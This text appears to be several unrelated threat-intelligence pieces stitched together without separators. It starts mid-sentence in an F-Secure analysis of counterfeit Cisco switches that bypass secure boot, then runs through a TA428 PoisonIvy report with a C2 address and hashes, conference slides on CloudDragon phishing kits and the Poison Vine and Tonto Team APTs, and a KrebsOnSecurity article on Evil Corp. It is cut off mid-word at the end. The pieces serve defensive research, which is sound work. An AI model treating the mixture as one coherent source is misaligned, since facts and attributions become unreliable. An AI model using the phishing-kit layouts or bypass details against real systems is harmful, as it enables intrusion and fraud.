little-endian integers similar in magnitude except the very first one. - The byte sequence 70 47 was encountered quite often in the file. These two facts point at the possibility of this being ARM Thumb code, with the exception vectors located at the beginning as is common with ARM-based embedded systems. From there, it was easy to verify the assumption and guess the correct loading address with IDA Pro. It was also possible to locate the previously observed BOOT FAIL string in this file. With that, we concluded that the ipp.bin file contained software running on the SLIMpro SoC component. After loading the image in IDA Pro and spending some time marking up known library functions, we turned our attention to the changes made to the image by the implant. It transpired that a call to memcmp() was replaced in a certain function with a call to another function introduced by the patch; the new function inherited the original semantics. Not having access to the SoC reference manual or other sources of information concerning the SoC memory map as seen by SLIMpro made it very challenging to understand what the first condition meant. The second condition took into account the contents of one of the input buffers: it should have started with bytes 27 4F. In both cases, the number of bytes to be compared was reset to two. Considering the goal of the whole effort was to bypass signature verification checks, a reasonable guess was that this function made that possible in some cases. On inspecting signatures present in the extracted Flash images, we found the following BROM signature (after RSA decryption): ``` [Decrypted BROM signature] ``` An immediate conclusion was that the second condition was used to circumvent the BROM signature check, while we could only assume that the first condition was somehow involved in circumventing HBOOT signature check. The same exercise could be repeated against Counterfeit B. The integrated circuit installed on the processor board appeared to have the same pinout as the one found on the implant PCB on Counterfeit A. This was performed by tapping the correct vias on the board, given connecting to the pads of the QFN package footprint was not feasible. Here is the list of transactions performed on the bus for this unit. ``` Start address: 0000, byte count: 0020 Start address: 0020, byte count: 0100 Start address: 0120, byte count: 0400 Start address: 0520, byte count: 0400 Start address: 0920, byte count: 0400 Start address: 0D20, byte count: 0400 Start address: 1120, byte count: 0400 Start address: 1520, byte count: 0400 Start address: 1920, byte count: 0400 Start address: 1D20, byte count: 0400 Start address: 2120, byte count: 0400 Start address: 2520, byte count: 0400 Start address: 2920, byte count: 0400 Start address: 2D20, byte count: 0400 Start address: 3120, byte count: 0400 Start address: 3520, byte count: 0400 Start address: 3920, byte count: 0400 Start address: 3D20, byte count: 0400 Start address: 4120, byte count: 0400 Start address: 4520, byte count: 0400 Start address: 4920, byte count: 0400 Start address: 4D20, byte count: 0400 Start address: 5120, byte count: 0400 Start address: 5520, byte count: 0400 Start address: 5920, byte count: 0400 Start address: 5D20, byte count: 0250 ``` The differences were obvious: apart from two shorter reads at the beginning, the whole content was read in one go, with no per-file read patterns as observed in Counterfeit A. Further inspection of the dumped data revealed pseudo-random data with no discernible structure, apart from the first 0x120 bytes. The 32-byte header contained the same data; however, the AMCC file structure was not found. Instead, it appeared the software image starts as is. We could only conclude that the contents were encrypted in some way, and that no further analysis was possible. Given that, there was an answer to the last question concerning the operation of Counterfeit A: a TOCTOU vulnerability affecting SLIMpro ROM code was exploited in the wild to bypass software signature checks against the SLIMpro secure processing unit. By extension, the issue affects the Genuine unit as well. While one previously published report regarding issues in the Cisco Catalyst secure boot process was accessible, at the time of writing this paper, no public information was available detailing this or similar issues affecting the Catalyst 2960-X series. This led us to believe this was indeed a previously unknown vulnerability. It is important to note that the comparison of EEPROM data extracted from the Genuine unit and unpatched data extracted from Counterfeit A showed them to be identical. As the patches were designed to bypass signature checks only, we could conclude there was no "backdoor" code introduced into the SLIMpro environment. ## CONCLUSIONS The problem of counterfeiting is wide and raises a number of concerns. Not only does it mean a loss of trust in the brand, and loss of revenue for the company whose products get copied, but counterfeit devices also pose a security risk to the victim companies. The two counterfeit devices provided to us for this research were detected after a software upgrade resulted in a failure. These units were assessed from both software and hardware perspectives to investigate whether the victim company’s networks had been compromised via introducing "backdoor access”, and to understand how and why counterfeit devices bypassed the platform’s authentication security control. Both units reached their goal of circumventing the implemented platform authentication checks with similar means on the software level by relying on patching the loaded and authenticated application image before control was passed over to the application. The functionality implementing the patches was wrapped into multiple layers of obfuscation. However, these authentication bypasses were performed on each boot and thus were not persistent. No further functionality was identified on the software level that could be considered as backdoors – both in PowerPC and SLIMpro code. This conclusion was supported by the fact that genuine software was patched on-the-fly and the patches only served to circumvent authenticity checks. On the hardware level, the two units took quite different approaches as to circumventing boot-time software authentication. Counterfeit A contained "add-on" circuitry which exploited a race condition in the SLIMpro ROM code to bypass SLIMpro software verification. It did this by intercepting EEPROM control signals, replacing certain bytes in the image being loaded to modify software behavior. It appears the processor PCB in this unit was not modified. While Counterfeit A only received a post-manufacturing add-on circuitry, the PCB design of Counterfeit B was changed to incorporate the modification of Counterfeit A and replaced the EEPROM completely with an unknown integrated circuit. This signified a considerable resource investment in design, manufacture, and testing of such forged products compared to the more low-cost ad-hoc approach used in Counterfeit A. The board layout and silkscreen similarities also suggested that the people behind this forgery might have either had access to Cisco proprietary engineering documentation such as PCB design files in order to be able to modify them, or they invested heavily in the complicated process of replicating the original board design files based solely on genuine boards. ## ABOUT THE AUTHOR Dmitry Janushkevich began his career as a testing- and later embedded-software engineer working on the development of leading-edge solid-state drive technologies. Together with a bachelor's degree in computer systems design, this has given him a strong background in embedded systems design and development for future explorations in their security. After joining F-Secure Consulting and gaining experience in customer-facing consultancy, embedded systems security became his primary focus. Currently a senior consultant, he has a strong track record in providing security-related consulting for automotive, aerospace, and consumer electronics industries. ## ABOUT F-SECURE HARDWARE SECURITY TEAM F-Secure Consulting’s Hardware Security team provides information security consulting to the most unique, challenging and critical industries in the world. It delivers industry-leading services to secure hardware, safety-critical embedded systems, software applications and IT infrastructure. It also provides detailed and comprehensible security analysis of software and hardware systems, along with practical and effective mitigation and protection strategies. With a vast breadth of experience in hardware and software design and engineering, it’s trusted by companies across the globe to assess and test their products and processes. Its work safeguards products from malicious compromise, and in doing so protects the safety of passengers, ensures the resilience of critical infrastructure, and secures company trade secrets and intellectual property. ## APPENDICES ### The SoC This appendix details what little information was publicly available on the main System-on-Chip (SoC) in charge of the device, paying special attention to any security features. The main SoC was marked as APM86392-CNE600T7 made by Applied Micro Corp (now MACOM). The manufacturer describes the system as based around the Dual-Core Power™465 processor. No mention of features related to code authentication during boot could be found on the manufacturer's website. However, some details can be gleaned via announcements in the media. Any units relating to security were of particular interest; sometimes these units were not labelled as such but were given cryptic or trademarked names. Two such units stick out: "Security Engine" and "SLIMpro". The "Security Engine" was quite likely to be the one mentioned by the manufacturer as "security subsystem (optional) with acceleration for IPSec, SSL/TLS, SRTP/SRTCP, Kasumi, and public-key protocols (PKA)" on the product page. However, what is SLIMpro? The same media source describing a previous generation of the same SoC cites the manufacturer: "… AppliedMicro also added its Scalable Lightweight Intelligent Management Processor (SlimPro) coprocessor, which provides advanced power management, security, and concurrency features …" while also mentioning Secure Boot and namedropping "SlimPro Trusted Management Module" which appeared to be relevant to this research. Speculatively, and in accordance with what the presentation tried to show, the SLIMpro unit indeed represented the security epicenter of the whole SoC. ### THE BOOT PROCESS There should be enough information – with some guesswork – to piece together the overall boot process from the security standpoint, considering all known processing cores that participated. 1. SLIMpro start up a) SLIMpro was expected to perform authentication of Flash contents b) SLIMpro started (one?) PPC core, setting PC to 0xFFFFFFFC (most common configuration) 2. PPC core ran PBL code at Flash offset 0x7FFF000 (previously unidentified) 3. PPC core ran BROM code (by correlating console messages with BROM contents) a) BROM authenticated HBOOT code 4. PPC core ran HBOOT code (by correlating console messages with HBOOT contents) a) HBOOT authenticated application code 5. PPC core ran application code a) Application code authenticated the platform b) Depending on the result, the unit became inoperable ### The MZIP file format Cisco delivers software updates for Catalyst devices as a single binary file. This meant updates for all system components were carried in this file, whether application software, bootloaders, or microcode. This warranted a closer look into the format of this file. The file format was identified with the first four bytes being "MZIP" and was referred to as such. Apparently, this was a "Cisco IOS MZIP compressed image" as noted on some sources on the Internet. No specifications were publicly available. Some existing tools were found which served as a starting point for researching the format, however no tool was found which would handle unpacking of the images at hand. Naturally, the code that was responsible for loading MZIP files should serve as the best reference, so the already obtained genuine bootloader images could be used for that purpose. Quite a lot of references to MZIP were found in the HBOOT image, so the relevant parts were reverse engineered. On a very high level, the file format was very similar to what would be found in executable file formats – this could easily be seen from what mziptools was intended to output: some fixed header data including an entry point address as well as a collection of segments. This meant the file was simply a program image which was loaded and executed by the bootloader chain. Segments could also be optionally compressed with PKZIP or BZIP2. Judging by the presence of the usual BZh91AY... signature, data in our files was indeed compressed with BZIP2. As data is BZIP2 compressed, it was possible to apply usual tools such as binwalk for data carving and decompression of relevant sections. While this did not add much insight into the file format, it served as the first step to understand what was contained inside. While provisions were present for more complicated arrangements, the contents proved to be very simple: one code section and one data section. Some trailer data was also included. This contained some textual information possibly related to the build configuration and provided versioning information which we didn’t really need. Appended there, however, was the image signature apparently used to authenticate the image, likely to be RSA2048 judging by the size. The signature followed the same format used to authenticate both HBOOT and BROM images. To facilitate future research, a dedicated tool was also developed to unpack and recreate MZIP files. ### The AMCC file format Data blobs marked with the AMCC magic bytes were found in at least two places: - In the NOR Flash, U8 - In the dedicated EEPROM, U55 The AMCC (a reference to Applied Micro Corp?) file format was not overly complicated: a fixed-size header followed by fixed-size file entries. The header marked the format with the AMCC magic bytes and then specified the entry count at offset 8. It included three data elements, one with no known meaning and the other two being offsets in the file pointing at structures marked with AENV. Each file entry contained a NUL-terminated file name of up to 16 bytes, with data offset at offset 16 and size at offset 20. The last 4 bytes of both the header and the file entries was likely to be a CRC32 value for integrity verification purposes. ### Software signatures and keys No public key data was directly identified in BROM or HBOOT, suggesting this data was loaded before control was passed to BROM. So where was this key data stored? It was possible to make some educated guesses as to where the public key(s) might be stored: - In the ROM code of SLIMpro - In some other location related to SLIMpro - Somewhere on the NOR Flash The easiest way to verify this was by browsing through the Flash images in the hope of stumbling upon the keys. During Flash analysis we already identified one possible candidate: the AMCC data blob at Flash offset 0x7DA0800, with very conspicuous strings (file names?) like ppc.bin.key. This piece of data was the same in all extracted Flash images, suggesting this data to be global for at least any device within the family – as expected for software signing keys. Following the AMCC container format description, the files inside could be extracted. This left us with the ppc.bin.key file (the ppc1.bin.key is identical) which might have contained software verification keys, but its format was not immediately obvious. However, one could note that there were repeating data pieces such as hex strings AB 12 34 CD and BE EF CA FE at the start and the end, and a text string C2960X in the middle; all repeated 4 times. This could mean there were 4 keys contained within this file. After spending several hours on decoding the format of these entries, we were able to provide the following summary: the format loosely followed a tag-length-value (TLV) structure with 7-byte fixed header AE 02 25 AB 12 34 CD and 4-byte fixed trailer BE EF CA FE, tags were one byte, lengths were two bytes. Tag 04 was the RSA modulus, and tag 05 is the RSA public exponent (always 0x10001, a typical value). Two unique public key moduli were extracted from this file; they are reproduced below for reference. It is important to highlight the fact these keys can only be used to verify signatures.
# TA428 Group Abusing Recent Conflict Between Iran and USA Recently, a suspicious document has caught our attention due to its recent creation date (06-01-2020) and its title “How Swuleimani’s death will affect India and Pakistan.doc,” which is directly related to recent political events between Iran and the USA. The document is in RTF format and has an OLE object related to the Equation Editor. During the last years, these OLE objects have been a good indicator that a document may aim to exploit the CVE-2018-0798 vulnerability in order to infect with some kind of malware. This particular document turns out to be one of these examples, and does it by dropping a binary called 8.t in the “%TEMP%” folder of the user. Up to this point, everything coincides in terms of TTPs with what is described in the following report from ProofPoint related to a suspected Chinese cybercrime group known as TA428. After this infection chain, what we get is a DLL executable file with the extension “.wll” used for “Word.addin.8” files, that is installed in the path “%APPDATA%\Microsoft\Word\STARTUP,” which causes MS Word at the next application startup to load this “.wll” executable file. This DLL consists of a packed version of a PoisonIvy RAT sample that, after a few seconds, makes traffic to the C2 server “95.179.131.29” through port 443, and in case of error, through port 8080 using HTTP traffic. The IP address is part of the infrastructure that appears in the post, indicating that it is probably the same actor reusing his old infrastructure in a new campaign, taking advantage of the conflict mentioned at the beginning of the article. It is always critical to remain alert with any attachments that are related to any recent geopolitical conflict, as previously stated, the attackers usually take advantage of them as a means of infecting their victims through this kind of phishing campaigns. **Document SHA256:** 0eb7ba6457367f8f5f917f37ebbf1e7ccf0e971557dbe5d7547e49d129ac0e98 **Poison Ivy SHA256:** 02dec90a18545d4bfbac5de19c6499142e141c3c0abaecdc8ac56b8eede167aa **Poison Ivy C2:** 95.179.131.29
# Story of the ‘Phisherman’ - Dissecting Phishing Techniques of CloudDragon APT **Linda Kuo** Senior Threat Intelligence Analyst @ TeamT5 Speaker of BlackHat Asia, CODEBLUE, HITCON, etc. In love with APT & Financial Intrusions **Zih-Cing Liao** aka DuckLL Senior Threat Intelligence Researcher @ TeamT5 Speaker of CODEBLUE, BlackHat Asia, etc. Focus on APAC APT ## Agenda I. Who is CloudDragon II. As a Phisherman - Techniques III. In the Phisherman’s Toolbox - Malware IV. Key Takeaways ## Who is CloudDragon Kaspersky 2013 Public APT 37 Kimsuky ## As a Phisherman ### Favored Techniques Target Scope These are the official ones These are the registered ones: - navor.ml - daurn.hol.es - claum.cf - grnail-signin.ga **Delivery Method** PHPMailer - A full-featured email creation and transfer class for PHP - Support SMTP login - Send from C2 (compromised site) **PHPMailer Structure** ``` ├── _modules │ └── PHPMailer-master // PHPMailer release ├── list-test.py // test accounts list ├── list.py // target accounts list ├── mailer.php // send mail └── sender.py // batch script ``` **Mail header** - Fake sender email - SendGrid: Email delivery service, 100 emails/day for free, PHP support **SendGrid Structure** ``` ├── ch │ ├── change_phone.php // send mail │ ├── change_phone_z3.py // batch script │ ├── cruelty_z1.txt // send log │ └── z1.txt // target list ├── enc_url.php // url encryption └── sendgrid-php // sendgrid release ``` ## Evolutions in Techniques ### Traditional Phishing - Case I ``` http://{cc}/?m=viewInputPasswd&token_help=ZGVtbw== ``` - m: mode - viewInputPasswdForMyInfo - viewInputPasswd - viewDownload - viewChangePasswd - token_help: base64(userid) **Traditional Phishing - Case I Structure** ``` ├── Mobile_Detect.php // detect user agent ├── css // css resource ├── download.php // download file ├── error.php // default error page ├── favicon.ico // logo icon ├── index.php // main controller ├── js // javascript resource ├── log.php // log function page ├── mobile_{mode}.php // mobile function page ├── pc_{mode}.php // pc function page ├── reading.php // ip recon page ├── res // image resource ├── result // victim folder │ └── {ip}_log.txt // victim data └── robots.txt // anti bot ``` ### Traditional Phishing - Case II ``` http://{cc}/?token_help=ZGVtbw==&last=login ``` - token_help: base64(userid) - last: exit page index **Traditional Phishing - Case II Structure** ``` ├── Merry Christmas.pdf // decoy file ├── Mobile_Detect.php // detect user agent ├── favicon.ico // logo icon ├── iCloud_files // web resource ├── icloud.php // modified login page ├── index.php // main controller ├── link.php // redirect to specific victim ├── log.php // log function page ├── pdf.php // show decoy and redirect ├── reading.php // ip recon page ├── result // victim folder │ └── {ip}_log.txt // victim data └── robots.txt // anti bot ``` ## In the Phisherman’s Toolbox ### Malware Delivery - Win PE - Win Installer - WSF - HTA - Macro doc **BabyShark Malware** - 2019 - expres.php - cow.php - upload.php **Decrypt Function** - Encrypted payload - Decrypted payload **JamBog Malware** - aka AppleSeed, AutoUpdate - First Seen: December 2019 **Command Functions** - 0: execute cmd.exe - 1: run dll with regsvr32 - 2: run dll in memory - 3: upload file ## Key Takeaways - The APT group CloudDragon - Advanced and Diverse Phishing Skills - Malware in Use **Thank You** Zih-Cing Liao [email protected] Linda Kuo [email protected]
# A Vine Climbing Over the Great Firewall: A Long-term Attack Against China **Lion Gu, Bowen Pan** Qi An Xin Threat Intelligence Center Red Drip Team (@RedDrip7) - A team of Qi-AnXin Threat Intelligence Center - Focus on threat intelligence and advanced targeted attacks tracing. - APT threat monitoring and tracing, uncovered several APT Groups. ## Agenda - Introduction of Poison Vine - Capabilities and resources - Tactics, techniques and procedures (TTP) - Impact - Attribution - Conclusion ## Poison Vine - Poison Vine (APT-C-01) - A rarely known APT group targeted China - Intent - Political & military intelligence - Targets - Government agencies - Military personnel - Research institutes - Maritime agencies ## Poison Vine - Timeline - **2007.12**: First discovered using “API string” and “error API parameters” to attack a large shipping company. - **2008-2009**: Universities and military industry in China were attacked. - **2012.12**: First variant of ZxShell was discovered (CVE-2014-6352). - **2014.9.12**: Several spear phishing attacks using CVE-2017-8759. - **2015.2**: First disclosed. - **2018**: ## Capabilities and Resources - **RATs** - Commercial or open-source RAT - Poison Ivy, ZxShell - Customized - Kanbox RAT - **Exploits** - Some document vulnerabilities - CVE-2012-0158 - CVE-2014-6352 (0day) - CVE-2017-8759 - **Infrastructures** - Dynamic domains - Cloud storage ## Capabilities and Resources - Poison Ivy - ZxShell - Customized command - Kanbox RAT - Keywords filtering for collection - “军” or “军事” (War), “部队” (Army) - Cloud storage API for exfiltration ## Capabilities and Resources - Customized shellcode loader - Discovered in early 2018 - .hta -> CVE-2017-8759 1. Triggered .hta execute with CVE-2017-8759 2. Drive-by download & execution ## Capabilities and Resources - CVE-2014-6352 - Bypass the patch of CVE-2014-4114 used by Sandworm - 0-day - Sample creation time on 4th Sep 2014 - Patched on Oct 2014 ## Infrastructure - Dynamic Domains - C&C - Legitimate website - chinamil.lflink.com - www.chinamil.com.cn - soagov.sytes.net - www.soa.gov.cn - xinhua.redirectme.net - www.xinhuanet.com ## Tactics, Techniques and Procedures - Poison Vine has a simple TTP. - **Reconnaissance** - On targets - Important conferences in mainland China - **Initial Access & Established Foothold** - Spear-phishing with delivery decoys - **Collection & Exfiltration** - Documents, .doc/.ppt/.xls/.wps - Keywords filtering: military, international, technology, national - **Defense Evasion** - API name in reverse order - AV heuristic detection - **ATT&CK Matrix** - T1193 Spearphishing Attachment - T1203 Exploitation for Client Execution - T1204 User Execution - T1170 Mshta - T1064 Scripting - T1102 Web Service - T1022 Data Encrypted - T1005 Data from Local System ## Impact - Cloud Storage - Token hardcoded in payloads - 3GB file exfiltrated ## Attribution - Language - Encoding - PMingLiU - Identify information - Email - Phone number - Region - Name or ID ## Attribution - Similar but different with another APT group “BlueMashroom” - Same region - Different ways of Execution & Persistence - Hijacking shortcut file in startup paths - Use regsvr32 to execute DLL ## Conclusion - APT actors not always advanced; Poison Vine finds ways to improve efficiency. - APT actors always consider reducing their signature in investigations and hiding the attribution. - In the APT tracing process, finding intent of threat and attribution can always be an interesting game.
# Inside ‘Evil Corp,’ a $100M Cybercrime Menace The U.S. Justice Department this month offered a $5 million bounty for information leading to the arrest and conviction of a Russian man indicted for allegedly orchestrating a vast, international cybercrime network that called itself “Evil Corp” and stole roughly $100 million from businesses and consumers. As it happens, for several years KrebsOnSecurity closely monitored the day-to-day communications and activities of the accused and his accomplices. What follows is an insider’s look at the back-end operations of this gang. The $5 million reward is being offered for 32-year-old Maksim V. Yakubets, who the government says went by the nicknames “aqua” and “aquamo,” among others. The feds allege Aqua led an elite cybercrime ring with at least 16 others who used advanced, custom-made strains of malware known as “JabberZeus” and “Bugat” (a.k.a. “Dridex“) to steal banking credentials from employees at hundreds of small- to mid-sized companies in the United States and Europe. From 2009 to the present, Aqua’s primary role in the conspiracy was recruiting and managing a continuous supply of unwitting or complicit accomplices to help Evil Corp launder money stolen from their victims and transfer funds to members of the conspiracy based in Russia, Ukraine, and other parts of Eastern Europe. These accomplices, known as “money mules,” are typically recruited via work-at-home job solicitations sent out by email and to people who have submitted their resumes to job search websites. Money mule recruiters tend to target people looking for part-time, remote employment, and the jobs usually involve little work other than receiving and forwarding bank transfers. People who bite on these offers sometimes receive small commissions for each successful transfer, but just as often end up getting stiffed out of a promised payday, and/or receiving a visit or threatening letter from law enforcement agencies that track such crime. ## HITCHED TO A MULE KrebsOnSecurity first encountered Aqua’s work in 2008 as a reporter for The Washington Post. A source said they’d stumbled upon a way to intercept and read the daily online chats between Aqua and several other mule recruiters and malware purveyors who were stealing hundreds of thousands of dollars weekly from hacked businesses. The source also discovered a pattern in the naming convention and appearance of several money mule recruitment websites being operated by Aqua. People who responded to recruitment messages were invited to create an account at one of these sites, enter personal and bank account data (mules were told they would be processing payments for their employer’s “programmers” based in Eastern Europe) and then log in each day to check for new messages. Each mule was given busy work or menial tasks for a few days or weeks prior to being asked to handle money transfers. This was an effort to weed out unreliable money mules. After all, those who showed up late for work tended to cost the crooks a lot of money, as the victim’s bank would usually try to reverse any transfers that hadn’t already been withdrawn by the mules. When it came time to transfer stolen funds, the recruiters would send a message through the mule site saying something like: “Good morning [mule name here]. Our client — XYZ Corp. — is sending you some money today. Please visit your bank now and withdraw this payment in cash, and then wire the funds in equal payments — minus your commission — to these three individuals in Eastern Europe.” Only, in every case, the company mentioned as the “client” was in fact a small business whose payroll accounts they’d already hacked into. Here’s where it got interesting. Each of these mule recruitment sites had the same security weakness: Anyone could register, and after logging in any user could view messages sent to and from all other users simply by changing a number in the browser’s address bar. As a result, it was trivial to automate the retrieval of messages sent to every money mule registered across dozens of these fake company sites. So, each day for several years my morning routine went as follows: Make a pot of coffee; shuffle over to the computer and view the messages Aqua and his co-conspirators had sent to their money mules over the previous 12-24 hours; look up the victim company names in Google; pick up the phone to warn each that they were in the process of being robbed by the Russian Cyber Mob. My spiel on all of these calls was more or less the same: “You probably have no idea who I am, but here’s all my contact info and what I do. Your payroll accounts have been hacked, and you’re about to lose a great deal of money. You should contact your bank immediately and have them put a hold on any pending transfers before it’s too late. Feel free to call me back afterwards if you want more information about how I know all this, but for now please just call or visit your bank.” In many instances, my call would come in just minutes or hours before an unauthorized payroll batch was processed by the victim company’s bank, and some of those notifications prevented what otherwise would have been enormous losses — often several times the amount of the organization’s normal weekly payroll. At some point, I stopped counting how many tens of thousands of dollars those calls saved victims, but over several years it was probably in the millions. Just as often, the victim company would suspect that I was somehow involved in the robbery, and soon after alerting them I would receive a call from an FBI agent or from a police officer in the victim’s hometown. Those were always interesting conversations. Needless to say, the victims that spun their wheels chasing after me usually suffered far more substantial financial losses (mainly because they delayed calling their financial institution until it was too late). Collectively, these notifications to Evil Corp.’s victims led to dozens of stories over several years about small businesses battling their financial institutions to recover their losses. I don’t believe I ever wrote about a single victim that wasn’t okay with my calling attention to their plight and to the sophistication of the threat facing other companies. ## LOW FRIENDS IN HIGH PLACES According to the U.S. Justice Department, Yakubets/Aqua served as leader of Evil Corp. and was responsible for managing and supervising the group’s cybercrime activities in deploying and using the Jabberzeus and Dridex banking malware. The DOJ notes that prior to serving in this leadership role for Evil Corp, Yakubets was also directly associated with Evgeniy “Slavik” Bogachev, a previously designated Russian cybercriminal responsible for the distribution of the Zeus, Jabber Zeus, and GameOver Zeus malware schemes who currently has a $3 million FBI bounty on his head. As noted in previous stories here, during times of conflict with Russia’s neighbors, Slavik was known to retool his crime machines to search for classified information on victim systems in regions of the world that were of strategic interest to the Russian government – particularly in Turkey and Ukraine. “Cybercriminals are recruited to Russia’s national cause through a mix of coercion, payments, and appeals to patriotic sentiment,” reads a 2017 story from The Register on security firm Cybereason’s analysis of the Russian cybercrime scene. “Russia’s use of private contractors also has other benefits in helping to decrease overall operational costs, mitigating the risk of detection and gaining technical expertise that they cannot recruit directly into the government. Combining a cyber-militia with official state-sponsored hacking teams has created the most technically advanced and bold cybercriminal community in the world.” This is interesting because the U.S. Treasury Department says Yukabets as of 2017 was working for the Russian FSB, one of Russia’s leading intelligence organizations. “As of April 2018, Yakubets was in the process of obtaining a license to work with Russian classified information from the FSB,” notes a statement from the Treasury. The Treasury Department’s role in this action is key because it means the United States has now imposed economic sanctions on Yukabets and 16 accused associates, effectively freezing all property and interests of these persons (subject to U.S. jurisdiction) and making it a crime to transact with these individuals. The Justice Department’s criminal complaint against Yukabets mentions several intercepted chat communications between Aqua and his alleged associates in which they puzzle over why KrebsOnSecurity seemed to know so much about their internal operations and victims. In the following chat conversations (translated from Russian), Aqua and others discuss a story I wrote for The Washington Post in 2009 about their theft of hundreds of thousands of dollars from the payroll accounts of Bullitt County, Ky: tank: [Are you] there? indep: Yeah. indep: Greetings. tank: tank: Originator: BULLITT COUNTY FISCAL Company: Bullitt County Fiscal Court tank: He is the account from which we cashed. tank: Today someone else send this news. tank: I’m reading and thinking: Let me take a look at history. For some reason this name is familiar. tank: I’m on line and I’ll look. Ah, here is this shit. indep: How are you? tank: Did you get my announcements? indep: Well, I congratulate [you]. indep: This is just fuck when they write about you in the news. tank: Whose [What]? tank: 😀 indep: Too much publicity is not needed. tank: Well, so nobody knows who they are talking about. tank: Well, nevertheless, they were writing about us. aqua: So because of whom did they lock Western Union for Ukraine? aqua: Tough shit. tank: *************Originator: BULLITT COUNTY FISCAL Company: Bullitt County Fiscal Court aqua: So? aqua: This is the court system. tank: Shit. tank: Yes At roughly the same time, one of Aqua’s crew had a chat with Slavik, who used the nickname “lucky12345” at the time: tank: Are you there? tank: This is what they damn wrote about me. tank: tank: Originator: BULLITT COUNTY FISCAL Company: Bullitt County Fiscal Court tank: Well, you got [it] from that cash-in. lucky12345: From 200K? tank: Well, they are not the right amounts and the cash out from that account was shitty. tank: Levak was written there. tank: Because now the entire USA knows about Zeus. lucky12345: It’s fucked. On Dec. 13, 2009, one of the Jabberzeus gang’s money mule recruiters – a crook who used the pseudonym “Jim Rogers” — somehow learned about something I hadn’t shared beyond a few trusted friends at that point: That The Washington Post had eliminated my job in the process of merging the newspaper’s website (where I worked at the time) with the dead tree edition. The following is an exchange between Jim Rogers and the above-quoted “tank”: jim_rogers: There is a rumor that our favorite (Brian) didn’t get his contract extension at Washington Post. We are giddily awaiting confirmation 🙂 Good news expected exactly by the New Year! Besides us no one reads his column 🙂 tank: Mr. Fucking Brian Fucking Kerbs! In March 2010, Aqua would divulge in an encrypted chat that his crew was working directly with the Zeus author (Slavik/Lucky12345), but that they found him abrasive and difficult to tolerate: dimka: I read about the king of seas, was it your handy work? aqua: what are you talking about? show me dimka: zeus aqua: 🙂 aqua: yes, we are using it right now aqua: its developer sits with us on the system dimka: it’s a popular thing aqua: but, he, fucker, annoyed the hell out of everyone, doesn’t want to write bypass of interactives (scans) and trojan penetration 35-40%, bitch aqua: yeah, shit aqua: we need better aqua: read it 🙂 here you find almost everything about us 🙂 dimka: I think everything will be slightly different, if you think so aqua: we, in this system, the big dog, the rest on the system are doing small crap Later that month, Aqua bemoaned even more publicity about their work, pointing to a KrebsOnSecurity story about a sophisticated attack in which their malware not only intercepted a one-time password needed to log in to the victim’s bank account, but even modified the bank’s own website as displayed in the victim’s browser to point to a phony customer support number. Ironically, the fake bank phone number was what tipped off the victim company employee. In this instance, the victim’s bank — Fifth Third Bank (referred to as “53” in the chat below) was able to claw back the money stolen by Aqua’s money mules, but not funds that were taken via fraudulent international wire transfers. The cybercriminals in this chat also complain they will need a newly-obfuscated version of their malware due to public exposure: aqua: tomorrow, everything should work. aqua: fuck, we need to find more socks for spam. aqua: okay, so tomorrow Petro [another conspirator who went by the nickname Petr0vich] will give us a [new] .exe jtk: ok jim_rogers: this one doesn’t work jim_rogers: here it’s written about my transfer from 53. How I made a number of wires like it said there. And a woman burnt the deal because of a fake phone number. ## ANTI-MULE INITIATIVE In tandem with the indictments against Evil Corp, the Justice Department joined with officials from Europol to execute a law enforcement action and public awareness campaign to combat money mule activity. “More than 90% of money mule transactions identified through the European Money Mule Actions are linked to cybercrime,” Europol wrote in a statement about the action. “The illegal money often comes from criminal activities like phishing, malware attacks, online auction fraud, e-commerce fraud, business e-mail compromise (BEC) and CEO fraud, romance scams, holiday fraud (booking fraud) and many others.” The DOJ said U.S. law enforcement disrupted mule networks that spanned from Hawaii to Florida and from Alaska to Maine. Actions were taken to halt the conduct of over 600 domestic money mules, including 30 individuals who were criminally charged for their roles in receiving victim payments and providing the fraud proceeds to accomplices. It’s good to see more public education about the damage that money mules inflict, because without them most of these criminal schemes simply fall apart. Aside from helping to launder funds from banking trojan victims, money mules often are instrumental in fleecing elderly people taken in by various online confidence scams. It’s also great to see the U.S. government finally wielding its most powerful weapon against cybercriminals based in Russia and other safe havens for such activity: Economic sanctions that severely restrict cybercriminals’ access to ill-gotten gains and the ability to launder the proceeds of their crimes by investing in overseas assets.
# Tonto Team: Exploring the TTPs of an Advanced Threat Actor Operating a Large Infrastructure **Daniel Lunghi (@thehellu), Jaromir Horejsi (@JaromirHorejsi)** October 2, 2020, Virus Bulletin ## Introduction - Advanced threat actor likely based in China - Known under aliases Earth Akhlut, Cactus Pete, Lone Ranger, Tonto team - Operating for more than 10 years - Targets multiple government organizations and worldwide companies ## History - 2012 – HeartBeat campaign - 2017 – Operation ORCA (Virus Bulletin) - 2018 – Operation Bitter Biscuit - 2018 – Bisonal Malware Used in Attacks Against Russia and South Korea - 2020 – Bisonal: 10 years of play - 2020 – Earth Akhlut ### Naming - Earth: Information theft / espionage - Akhlut: orca spirit, half wolf, half orca ## Infection Vectors - Phishing websites - Spear-phishing emails with malicious attachments - Exploitation of vulnerabilities in security solutions ### Phishing Websites - Phishing domain similar to legitimate domain email.gov.mn - For a successful attack, the attacker requires strong user interaction - User awareness lowers the success rate of this type of attack - Phishing websites were blocked once noticed ### Spear Phishing - Malicious attachments - Job application-themed spear phishing emails - RTF files with Microsoft Equation 2.0 related exploits (CVE-2017-11882 / CVE-2018-0802) - Royal Road RTF document builder - “OLE Package Objects” with names 8.t or wd32PrvSE.wmf - Custom encryption starting with 0xb07477 or 0xb2a66d - For a successful attack, the attacker requires user interaction - User awareness lowers the success rate of this type of attack - Applying updates prevents code execution in this context - Malicious documents and C&C were blocked once noticed ### Exploiting Vulnerabilities - Exploiting vulnerabilities in security solution’s services exposed to Internet - CVE-2019-9489 (patched Apr 2019) - CVE-2020-8468 (patched Mar 2020) - Minority of the cases used this infection vector - Both vulnerabilities are required for a successful attack - Delivered payload was a dropper for the Shadowpad malware family - For a successful attack, the attacker requires: - A network access to the management server - An authentication bypass to such server - A vulnerability to execute code from this server - All of these conditions can be mitigated by network design and patch management - Malicious payloads and C&C were blocked once noticed ## Backdoors ### Custom Backdoors | Backdoor Family Name | First Seen | |----------------------|------------| | Heartbeat | 2009 | | Old Bisonal | 2011 | | Chimaera | 2012 | | Dexbia | 2014 | | Bisonal01 | 2014 | | Bisonal02 | 2017 | | SPM | 2018 | | Typehash | 2019 | | Dumboc | 2020 | | Idles | 2020 | - All of them: - Process enumeration, download and file execution, interactive shell - Most of them: - File upload and deletion, terminate process - Some of them: - OS information collection, uninstall, wipe ### OS Info - IP address - Code page - Time (tick count) - OS version, token information - Computer name, proxy information - Campaign 